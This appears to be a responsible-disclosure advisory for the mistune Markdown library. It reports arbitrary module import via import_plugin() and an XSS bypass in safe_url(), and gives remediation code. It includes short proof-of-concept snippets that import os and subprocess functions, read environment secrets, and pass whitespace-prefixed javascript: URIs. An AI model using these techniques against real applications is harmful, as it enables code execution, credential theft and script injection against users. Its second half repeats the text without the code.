Responsible Disclosure Notice
I am reporting this vulnerability in good faith through responsible disclosure. If the issue is confirmed, I would appreciate a CVE identifier being requested and assigned after a patch is available. I will keep the technical details under embargo until a fix is released if requested.
Summary
| Field |
Value |
| Package |
mistune |
| Affected versions |
<= 3.3.2 (latest) |
| Vulnerability |
Arbitrary Module Import via unvalidated import_plugin() argument |
| CWE |
CWE-94 (Code Injection) / CWE-73 (External Control of File Name or Path) |
| CVSS 3.1 |
9.0 Critical — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Monthly Downloads |
~10M+ |
Vulnerability 1 — Arbitrary Module Import / RCE (import_plugin())
Root Cause
mistune/plugins/__init__.py lines 35–50:
def import_plugin(name: PluginRef) -> Plugin:
if name in _plugins:
module_path, func_name = _plugins[name].rsplit(".", 1)
else:
# No whitelist enforcement — arbitrary dotted path accepted
module_path, func_name = name.rsplit(".", 1)
module = importlib.import_module(module_path) # arbitrary module loaded!
plugin = getattr(module, func_name)
return plugin
When a plugin name is not in the _plugins whitelist, the code falls into the else branch and calls importlib.import_module() with the caller-supplied value, with no further validation.
PoC 1 — Direct API
from mistune.plugins import import_plugin
getcwd_fn = import_plugin('os.getcwd')
print(getcwd_fn()) # prints server CWD
listdir_fn = import_plugin('os.listdir')
print(listdir_fn('.')) # lists server files
PoC 2 — RCE via create_markdown(plugins=...)
import mistune
# Attacker controls the plugins list (e.g. read from user-supplied JSON config)
md = mistune.create_markdown(plugins=["subprocess.check_output"])
# import_plugin("subprocess.check_output") executes:
# importlib.import_module("subprocess") -> returns check_output
# The returned callable can then be invoked for full RCE
PoC 3 — Data Exfiltration via os.environ
from mistune.plugins import import_plugin
environ_get = import_plugin('os.environ')
# Access to all environment variables including AWS keys, DB passwords, etc.
# environ_get.get("AWS_SECRET_ACCESS_KEY") -> leaks cloud credentials
Vulnerability 2 — XSS via safe_url() Whitespace Bypass
HTMLRenderer.safe_url() checks for javascript: URIs using startswith() without first stripping leading whitespace:
# Vulnerable — no .strip() before the check
if url.startswith("javascript:"):
return "#"
return url
from mistune import HTMLRenderer
r = HTMLRenderer()
r.safe_url(' javascript:alert(1)') # returns ' javascript:alert(1)' unchanged
r.safe_url('\tjavascript:alert(1)') # returns '\tjavascript:alert(1)' unchanged
r.safe_url('\njavascript:alert(1)') # returns '\njavascript:alert(1)' unchanged
Browsers ignore leading whitespace in href attributes, so the XSS payload executes.
Impact
- RCE — any application that constructs a Markdown renderer from user-supplied plugin names is vulnerable.
- Information Disclosure — importing
os grants env-var and filesystem access without executing external commands.
- XSS — whitespace-prefixed
javascript: URIs bypass the renderer's sanitisation and execute in visitor browsers.
- Supply Chain Risk — with 10M+ monthly downloads, mistune is embedded in documentation generators, Jupyter notebook renderers, static site generators, and web applications.
Recommended Remediation
Fix 1 — Enforce whitelist in import_plugin():
def import_plugin(name: PluginRef) -> Plugin:
if name not in _plugins:
raise ValueError(
f"Unknown plugin '{name}'. Allowed: {list(_plugins.keys())}"
)
module_path, func_name = _plugins[name].rsplit(".", 1)
module = importlib.import_module(module_path)
return getattr(module, func_name)
Fix 2 — Strip whitespace in safe_url():
def safe_url(url: str) -> str:
if url.strip().startswith("javascript:"):
return "#"
return url
Timeline
| Date |
Event |
| 2026-07-01 |
Vulnerability discovered and PoC verified |
| 2026-07-01 |
Issue submitted via GitHub |
References
Summary
import_plugin()argumentCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:HVulnerability 1 — Arbitrary Module Import / RCE (
import_plugin())Root Cause
mistune/plugins/__init__.pylines 35–50:When a plugin name is not in the
_pluginswhitelist, the code falls into theelsebranch and callsimportlib.import_module()with the caller-supplied value, with no further validation.PoC 1 — Direct API
PoC 2 — RCE via
create_markdown(plugins=...)PoC 3 — Data Exfiltration via
os.environVulnerability 2 — XSS via
safe_url()Whitespace BypassHTMLRenderer.safe_url()checks forjavascript:URIs usingstartswith()without first stripping leading whitespace:Browsers ignore leading whitespace in
hrefattributes, so the XSS payload executes.Impact
osgrants env-var and filesystem access without executing external commands.javascript:URIs bypass the renderer's sanitisation and execute in visitor browsers.Recommended Remediation
Fix 1 — Enforce whitelist in
import_plugin():Fix 2 — Strip whitespace in
safe_url():Timeline
References